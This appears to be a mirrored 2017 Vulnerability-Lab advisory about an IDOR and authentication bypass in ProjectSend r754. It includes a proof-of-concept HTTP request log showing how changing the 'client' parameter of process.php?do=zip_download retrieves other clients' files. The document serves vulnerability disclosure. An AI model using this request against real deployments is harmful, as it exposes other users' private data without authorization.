ProjectSend r754 – Insecure Direct Object Reference

  • 作者: Vulnerability-Lab
    日期: 2017-02-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41433/
  • Document Title:
    ===============
    ProjectSend r754 - IDOR & Authentication Bypass Vulnerability
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2031
    
    
    Release Date:
    =============
    2017-02-21
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2031
    
    
    Common Vulnerability Scoring System:
    ====================================
    5.3
    
    
    Product & Service Introduction:
    ===============================
    ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets 
    you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending 
    on external services or e-mail to send those files.
    
    (Copy of the Homepage: http://www.projectsend.org/ )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2017-02-20: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Affected Product(s):
    ====================
    GNU GPL License
    Product: ProjectSend r754
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Technical Details & Description:
    ================================
    An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input. 
    As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References 
    allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point 
    to other client account names, which allows an attackers to download others clients private data with no secure method provided.
    
    Vulnerability Method(s):
    [+] GET
    
    Vulnerable Module(s):
    [+] process.php?do=zip_download
    
    Vulnerable Parameter(s):
    [+] client
    [+] file
    
    
    Proof of Concept (PoC):
    =======================
    The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
    For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
    
    1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...
    
    2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension
    
    --- PoC Session Logs ---
    GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Referer: http://localhost/ProjectSend-r754/my_files/
    Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47
    Connection: keep-alive
    -
    HTTP/1.1 200 OK
    Date: Sun, 05 Feb 2017 19:07:41 GMT
    Server: Apache/2.2.22 (Debian)
    X-Powered-By: PHP/5.4.44-0+deb7u1
    Expires: Sat, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, max-age=0
    Pragma: no-cache
    Vary: Accept-Encoding
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    Content-Length: 6
    
    Name of Files: .jpg
    
    
    Video PoC:
    https://www.youtube.com/watch?v=Xc6Jg9I7Pj4
    
    
    Security Risk:
    ==============
    The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)
    
    
    Credits & Authors:
    ==================
    Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)
    
    
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    =========================
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